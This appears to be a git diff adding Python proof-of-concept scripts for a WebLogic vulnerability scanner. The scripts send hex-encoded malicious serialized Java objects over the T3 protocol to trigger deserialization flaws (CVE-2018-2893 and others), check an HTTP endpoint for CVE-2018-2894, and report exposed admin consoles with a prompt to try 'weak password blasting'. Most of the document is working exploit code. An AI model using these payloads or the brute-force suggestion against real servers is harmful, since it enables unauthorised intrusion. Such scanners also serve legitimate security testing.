data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
|
||||||
|
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
|
||||||
|
data3 = '1a7727000d3234322e323134'
|
||||||
|
data4 = '2e312e32353461863d1d0000000078'
|
||||||
|
for d in [data1,data2,data3,data4]:
|
||||||
|
sock.send(bytes.fromhex(d))
|
||||||
|
time.sleep(2)
|
||||||
|
|
||||||
|
|
||||||
|
def sendEvilObjData(sock,data):
|
||||||
|
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
|
||||||
|
payload+=data
|
||||||
|
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
|
||||||
|
payload = '%s%s'%('{:08x}'.format(len(payload)//2 + 4),payload)
|
||||||
|
sock.send(bytes.fromhex(payload))
|
||||||
|
time.sleep(2)
|
||||||
|
sock.send(bytes.fromhex(payload))
|
||||||
|
res = ''
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
res += sock.recv(4096)
|
||||||
|
time.sleep(0.1)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return res
|
||||||
|
|
||||||
|
def checkVul(res,server_addr,index):
|
||||||
|
p=re.findall(VER_SIG[index], res, re.S)
|
||||||
|
a,b=server_addr
|
||||||
|
if len(p)>0:
|
||||||
|
logging.info('[+]{}:{} has a JAVA deserialization vulnerability:{}.'.format(a,b,VUL[index]))
|
||||||
|
else:
|
||||||
|
logging.info('[-]{}:{} not detected {}.'.format(a,b,VUL[index]))
|
||||||
|
|
||||||
|
def run(dip,dport,index):
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
sock.settimeout(10)
|
||||||
|
server_addr = (dip, dport)
|
||||||
|
t3handshake(sock,server_addr)
|
||||||
|
buildT3RequestObject(sock,dport)
|
||||||
|
rs=sendEvilObjData(sock,PAYLOAD[index])
|
||||||
|
checkVul(rs, server_addr, index)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__=="__main__":
|
||||||
|
dip = sys.argv[1]
|
||||||
|
dport = int(sys.argv[2])
|
||||||
|
run(dip,dport,0)
|
||||||
82
WeblogicScanLot/poc/CVE_2018_2893.py
Normal file
82
WeblogicScanLot/poc/CVE_2018_2893.py
Normal file
@ -0,0 +1,82 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
# _*_ coding:utf-8 _*_
|
||||||
|
'''
|
||||||
|
____ _ _ _ _ __ __ _
|
||||||
|
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
|
||||||
|
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
|
||||||
|
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|
||||||
|
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
|
||||||
|
|
||||||
|
'''
|
||||||
|
import socket
|
||||||
|
import time
|
||||||
|
import re
|
||||||
|
import sys
|
||||||
|
import logging
|
||||||
|
|
||||||
|
logging.basicConfig(filename='Weblogic.log',
|
||||||
|
format='%(asctime)s %(message)s',
|
||||||
|
filemode="w", level=logging.INFO)
|
||||||
|
|
||||||
|
VUL=['CVE-2018-2893']
|
||||||
|
|
||||||
|
PAYLOAD=['ACED0005737200257765626C6F6769632E6A6D732E636F6D6D6F6E2E53747265616D4D657373616765496D706C6B88DE4D93CBD45D0C00007872001F7765626C6F6769632E6A6D732E636F6D6D6F6E2E4D657373616765496D706C69126161D04DF1420C000078707A000001251E200000000000000100000118ACED0005737D00000001001A6A6176612E726D692E72656769737472792E5265676973747279787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707372002D6A6176612E726D692E7365727665722E52656D6F74654F626A656374496E766F636174696F6E48616E646C657200000000000000020200007872001C6A6176612E726D692E7365727665722E52656D6F74654F626A656374D361B4910C61331E03000078707732000A556E696361737452656600093132372E302E302E310000F1440000000046911FD80000000000000000000000000000007878']
|
||||||
|
|
||||||
|
VER_SIG=['StreamMessageImpl']
|
||||||
|
|
||||||
|
def t3handshake(sock,server_addr):
|
||||||
|
sock.connect(server_addr)
|
||||||
|
sock.send(bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'))
|
||||||
|
time.sleep(1)
|
||||||
|
sock.recv(1024)
|
||||||
|
|
||||||
|
|
||||||
|
def buildT3RequestObject(sock,port):
|
||||||
|
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
|
||||||
|
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(port))
|
||||||
|
data3 = '1a7727000d3234322e323134'
|
||||||
|
data4 = '2e312e32353461863d1d0000000078'
|
||||||
|
for d in [data1,data2,data3,data4]:
|
||||||
|
sock.send(bytes.fromhex(d))
|
||||||
|
time.sleep(2)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
def sendEvilObjData(sock,data):
|
||||||
|
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
|
||||||
|
payload+=data
|
||||||
|
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
|
||||||
|
payload = '%s%s'%('{:08x}'.format(len(payload)//2 + 4),payload)
|
||||||
|
sock.send(bytes.fromhex(payload))
|
||||||
|
time.sleep(2)
|
||||||
|
sock.send(bytes.fromhex(payload))
|
||||||
|
res = ''
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
res += sock.recv(4096)
|
||||||
|
time.sleep(0.1)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return res
|
||||||
|
|
||||||
|
def checkVul(res,server_addr,index):
|
||||||
|
p=re.findall(VER_SIG[index], res, re.S)
|
||||||
|
a,b=server_addr
|
||||||
|
if len(p)>0:
|
||||||
|
logging.info('[+]{}:{} has a JAVA deserialization vulnerability:{}.'.format(a,b,VUL[index]))
|
||||||
|
else:
|
||||||
|
logging.info('[-]{}:{} not detected {}.'.format(a,b,VUL[index]))
|
||||||
|
|
||||||
|
def run(dip,dport,index):
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
sock.settimeout(10)
|
||||||
|
server_addr = (dip, dport)
|
||||||
|
t3handshake(sock,server_addr)
|
||||||
|
buildT3RequestObject(sock,dport)
|
||||||
|
rs=sendEvilObjData(sock,PAYLOAD[index])
|
||||||
|
checkVul(rs, server_addr, index)
|
||||||
|
|
||||||
|
if __name__=="__main__":
|
||||||
|
dip = sys.argv[1]
|
||||||
|
dport = int(sys.argv[2])
|
||||||
|
run(dip,dport,0)
|
||||||
36
WeblogicScanLot/poc/CVE_2018_2894.py
Normal file
36
WeblogicScanLot/poc/CVE_2018_2894.py
Normal file
@ -0,0 +1,36 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
# _*_ coding:utf-8 _*_
|
||||||
|
'''
|
||||||
|
____ _ _ _ _ __ __ _
|
||||||
|
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
|
||||||
|
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
|
||||||
|
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|
||||||
|
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
|
||||||
|
|
||||||
|
'''
|
||||||
|
import logging
|
||||||
|
import sys
|
||||||
|
import requests
|
||||||
|
|
||||||
|
logging.basicConfig(filename='Weblogic.log',
|
||||||
|
format='%(asctime)s %(message)s',
|
||||||
|
filemode="w", level=logging.INFO)
|
||||||
|
|
||||||
|
VUL=['CVE-2018-2894']
|
||||||
|
headers = {'user-agent': 'ceshi/0.0.1'}
|
||||||
|
|
||||||
|
def islive(ur,port):
|
||||||
|
url='http://' + str(ur)+':'+str(port)+'/ws_utc/resources/setting/options/general'
|
||||||
|
r = requests.get(url, headers=headers)
|
||||||
|
return r.status_code
|
||||||
|
|
||||||
|
def run(url,port,index):
|
||||||
|
if islive(url,port)!=404:
|
||||||
|
logging.info('[+]{}:{} has a JAVA deserialization vulnerability:{}.'.format(url,port,VUL[index]))
|
||||||
|
else:
|
||||||
|
logging.info('[-]{}:{} not detected {}.'.format(url,port,VUL[index]))
|
||||||
|
|
||||||
|
if __name__=="__main__":
|
||||||
|
url = sys.argv[1]
|
||||||
|
port = int(sys.argv[2])
|
||||||
|
run(url,port,0)
|
||||||
124
WeblogicScanLot/poc/CVE_2019_2725.py
Normal file
124
WeblogicScanLot/poc/CVE_2019_2725.py
Normal file
File diff suppressed because one or more lines are too long
3564
WeblogicScanLot/poc/CVE_2019_2729.py
Normal file
3564
WeblogicScanLot/poc/CVE_2019_2729.py
Normal file
File diff suppressed because one or more lines are too long
36
WeblogicScanLot/poc/Console.py
Normal file
36
WeblogicScanLot/poc/Console.py
Normal file
@ -0,0 +1,36 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
# _*_ coding:utf-8 _*_
|
||||||
|
'''
|
||||||
|
____ _ _ _ _ __ __ _
|
||||||
|
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
|
||||||
|
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
|
||||||
|
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|
||||||
|
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
|
||||||
|
|
||||||
|
'''
|
||||||
|
import logging
|
||||||
|
import sys
|
||||||
|
import requests
|
||||||
|
|
||||||
|
logging.basicConfig(filename='Weblogic.log',
|
||||||
|
format='%(asctime)s %(message)s',
|
||||||
|
filemode="w", level=logging.INFO)
|
||||||
|
|
||||||
|
headers = {'user-agent': 'ceshi/0.0.1'}
|
||||||
|
|
||||||
|
def islive(ur,port):
|
||||||
|
url='http://' + str(ur)+':'+str(port)+'/console/login/LoginForm.jsp'
|
||||||
|
r = requests.get(url, headers=headers)
|
||||||
|
return r.status_code
|
||||||
|
|
||||||
|
def run(url,port):
|
||||||
|
if islive(url,port)==200:
|
||||||
|
u='http://' + str(url)+':'+str(port)+'/console/login/LoginForm.jsp'
|
||||||
|
logging.info("[+]{}:{} console address is exposed! The path is: {} Please try weak password blasting!".format(url,port,u))
|
||||||
|
else:
|
||||||
|
logging.info('[-]{}:{} console address not found!'.format(url,port))
|
||||||
|
|
||||||
|
if __name__=="__main__":
|
||||||
|
url = sys.argv[1]
|
||||||
|
port = int(sys.argv[2])
|
||||||
|
run(url,port)
|
||||||
10
WeblogicScanLot/poc/__init__.py
Normal file
10
WeblogicScanLot/poc/__init__.py
Normal file
@ -0,0 +1,10 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
# _*_ coding:utf-8 _*_
|
||||||
|
'''
|
||||||
|
____ _ _ _ _ __ __ _
|
||||||
|
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
|
||||||
|
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
|
||||||
|
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|
||||||
|
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
|
||||||
|
|
||||||
|
'''
|
||||||
Loading…
x
Reference in New Issue
Block a user